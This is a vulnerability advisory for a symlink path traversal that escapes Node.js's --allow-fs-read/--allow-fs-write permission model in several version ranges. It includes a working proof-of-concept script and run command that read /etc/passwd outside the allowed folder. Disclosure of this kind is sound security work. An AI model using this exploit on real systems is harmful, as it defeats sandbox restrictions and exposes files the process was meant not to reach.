A path traversal vulnerability in Node.js allows a user to break out of the FS permissions restrictions and gain read/write access to unintended files.
Node.js
[20.0.0,20.20.0)
[22.0.0,22.22.0)
[24.0.0,24.13.0)
[25.0.0,25.3.0)
Node.js allows users to restrict the access of a process to the system resources by defining --allow-fs-read and --allow-fs-write.
It was found that if the user is granted read/write permissions in the current directory, it is possible to manipulate the process and break out of the allowed folder using a local symlink as part of path resolution, granting the user access to files outside of the intended scope.
The vulnerability affects applications using the --permission module with the --allow-fs-read or --allow-fs-write flags.
An example of vulnerable usage of Node.js:
node --permission --allow-fs-read=. --allow-fs-write=. poc.js
We will use the fact that file permissions and path resolved are being checked separately, and after approving the file permission - any action will be authorized. We will create authorized symlinks, but arrange them in a manner that will be resolved into unauthorized paths! (each created subdirectory allows us to traverse one more directory outside of the allowed path)
const fs = require('fs');
fs.mkdirSync('pwned1');
fs.mkdirSync('pwned1/pwned2');
fs.mkdirSync('pwned1/pwned2/pwned3');
fs.mkdirSync('pwned1/pwned2/pwned3/pwned4');
fs.mkdirSync('pwned1/pwned2/pwned3/pwned4/pwned5');
fs.mkdirSync('pwned1/pwned2/pwned3/pwned4/pwned5/pwned6');
fs.mkdirSync('pwned1/pwned2/pwned3/pwned4/pwned5/pwned6/pwned7');
var ALLOWED_SUB_FOLDERS = './pwned1/pwned2/pwned3/pwned4/pwned5/pwned6/pwned7'
fs.symlinkSync(
__dirname,
ALLOWED_SUB_FOLDERS + '/gotcha');
console.log(fs.readFileSync(ALLOWED_SUB_FOLDERS+'/gotcha'+'/../../../../../../etc/passwd', 'utf8'));
We will run this script with the following command, and view how the content of “/etc/passwd” being printed to console:
node --permission --allow-fs-read=. --allow-fs-write=. poc.js
No mitigations are supplied for this issue